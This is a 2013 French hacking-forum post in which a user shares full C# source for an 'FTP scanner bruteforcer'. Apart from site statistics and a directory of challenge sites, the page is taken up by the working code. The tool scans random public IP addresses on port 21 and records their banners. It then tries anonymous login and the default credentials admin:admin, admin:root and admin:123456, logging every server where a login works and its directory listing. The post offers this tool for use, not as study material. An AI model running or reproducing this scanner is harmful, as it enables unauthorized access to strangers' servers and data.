• STATISTIQUES
  • Il y a eu un total de 2 membres et 10311 visiteurs sur le site dans les dernières 24h pour un total de 10 313 personnes!


    Membres: 2 609
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] osix
    Site de challenge qui utilise un système de level on chaque épreuve doit être réussie avant d'accédÃ...
    Challenges
    [EN] Dare your mind
    JavaScript: 6, Crypto: 44, Stegano: 36, Logic: 13, Special: 27, Science: 11, Realistic: 7, Programming: 10, Crack It: 6,...
    Challenges
    [FR] Microcontest
    Cryptographie: 7, Mathématiques: 8, Image Son Vidéo: 5, Intelligence artificielle: 3, Réseau: 2, Divers: 7, Phy...
    Challenges
    [EN] Rankk
    Site de challenge construit sur le principe d'une pyramide à 9 level. Level 1: 60,Level 2: 72,Level 3: 68,Lev...
    Challenges
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [EN] Astalavista
    Un site aux ressources incontournable depuis plusieurs années, Astalavista est réellement devenue un cl...
    Hacking
    [FR] Zenk-Security
    La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des tou...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[C#] FTP scanner bruteforcer
06-03-2013, 18h59 (Modification du message : 06-03-2013, 18h59 par t0fx.)
Message : #1
t0fx Hors ligne
Newbie
*



Messages : 17
Sujets : 4
Points: 6
Inscription : Feb 2013
[C#] FTP scanner bruteforcer
Program.cs
Code :
using System;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Program
    {
        public static int ScanningThreads;

        private static void Main()
        {
            Console.Title = "FTP Scanner by t0fx.";
            Console.WriteLine("       ..................");
            Console.WriteLine("    .::::::::::::::::::::::.");
            Console.WriteLine("  .::: FTP Scanner by t0fx :::.");
            Console.WriteLine(".::::::::::::::::::::::::::::::::.");
            Console.WriteLine("");
            Console.WriteLine("Enter number of threads and press ENTER (50 is a good choice)");
            ScanningThreads = Convert.ToInt32(Console.ReadLine());
            try
            {
                for (int i = 0; i <= ScanningThreads; i++)
                {
                    new Thread(Ftp.GrabBannerFtp).Start();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.ReadLine();
            }
        }
    }

    internal class Rng
    {
        public static Random _rng = new Random();

        public static int Next(int min, int max)
        {
            return _rng.Next(min, max);
        }

        public static string GenerateIp()
        {
            return Next(11, 239) + "." + Next(1, 255) + "." + Next(1, 255) + "." + Next(1, 255);
        }
    }

}

ftp.cs
Code :
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace ConsoleApplication1
{
    internal class Ftp
    {
        public static void GrabBannerFtp()
        {
            while (true)
            {
                try
                {
                    string ipadress = Rng.GenerateIp();
                    Console.WriteLine("FTP Scanning " + ipadress);
                    var data = new byte[1024];
                    string stringData;
                    int recv;
                    var ipep = new IPEndPoint(
                        IPAddress.Parse(ipadress), 21);
                    var server = new Socket(AddressFamily.InterNetwork,
                                            SocketType.Stream, ProtocolType.Tcp);
                    try
                    {
                        server.Connect(ipep);
                    }
                    catch
                    {
                    }
                    var ns = new NetworkStream(server);
                    if (ns.CanRead)
                    {
                        recv = ns.Read(data, 0, data.Length);
                        stringData = Encoding.ASCII.GetString(data, 0, recv);
                        if (stringData.Replace("220", string.Empty) != "")
                        {
                            Console.WriteLine("ftp://" + ipadress + " : " +
                                              stringData.Replace("220", string.Empty));
                            File.AppendAllText("FTP-banners.txt",
                                               "ftp://" + ipadress + " : " +
                                               stringData.Replace("220", string.Empty) + "\r\n");
                        }
                        new Thread(delegate() { CheckHost(ipadress); }).Start();
                    }
                    else
                    {
                        ns.Close();
                        server.Close();
                    }
                }
                catch
                {
                }
            }
        }


        public static void CheckHost(string ipadress)
        {
            try
            {
                var ftpClientRequest = WebRequest.Create("ftp://" + ipadress) as FtpWebRequest;
                if (ftpClientRequest != null)
                {
                    ftpClientRequest.Method = WebRequestMethods.Ftp.ListDirectoryDetails;
                    ftpClientRequest.Proxy = null;
                    ftpClientRequest.Credentials = new NetworkCredential("anonymous", "britney@spears.com");
                    ftpClientRequest.Timeout = 5000;
                    var response = ftpClientRequest.GetResponse() as FtpWebResponse;
                    if (response != null)
                    {
                        var sr = new StreamReader(response.GetResponseStream(), Encoding.ASCII);
                        string datastring = sr.ReadToEnd();
                        response.Close();
                        Console.WriteLine("Anonymous >>>> ftp://" + ipadress);
                        Console.WriteLine(datastring);
                        File.AppendAllText("Access.txt",
                                           "Anonymous >>>> ftp://" + ipadress + "\r\n" +
                                           datastring + "\r\n");
                    }
                    else
                    {
                        ftpClientRequest.Credentials = new NetworkCredential("admin", "admin");
                        var response1 = ftpClientRequest.GetResponse() as FtpWebResponse;
                        if (response1 != null)
                        {
                            var sr = new StreamReader(response1.GetResponseStream(), Encoding.ASCII);
                            string datastring = sr.ReadToEnd();
                            response1.Close();
                            Console.WriteLine("admin:admin >>>> ftp://" + ipadress);
                            Console.WriteLine(datastring);
                            File.AppendAllText("Access.txt",
                                               "admin:admin >>>> ftp://" + ipadress + "\r\n" +
                                               datastring + "\r\n");
                        }
                        else
                        {
                            ftpClientRequest.Credentials = new NetworkCredential("admin", "root");
                            var response2 = ftpClientRequest.GetResponse() as FtpWebResponse;
                            if (response2 != null)
                            {
                                var sr = new StreamReader(response2.GetResponseStream(), Encoding.ASCII);
                                string datastring = sr.ReadToEnd();
                                response2.Close();
                                Console.WriteLine("admin:root >>>> ftp://" + ipadress);
                                Console.WriteLine(datastring);
                                File.AppendAllText("Access.txt",
                                                   "admin:root >>>> ftp://" + ipadress + "\r\n" +
                                                   datastring + "\r\n");
                            }
                            else
                            {
                                ftpClientRequest.Credentials = new NetworkCredential("admin", "123456");
                                var response3 = ftpClientRequest.GetResponse() as FtpWebResponse;
                                if (response3 != null)
                                {
                                    var sr = new StreamReader(response3.GetResponseStream(), Encoding.ASCII);
                                    string datastring = sr.ReadToEnd();
                                    response3.Close();
                                    Console.WriteLine("admin:123456 >>>> ftp://" + ipadress);
                                    Console.WriteLine(datastring);
                                    File.AppendAllText("Access.txt",
                                                       "admin:123456 >>>> ftp://" + ipadress + "\r\n" +
                                                       datastring + "\r\n");
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
        }
    }
}
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Port Scanner sakiir 10 626 25-12-2012, 00h50
Dernier message: sakiir

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut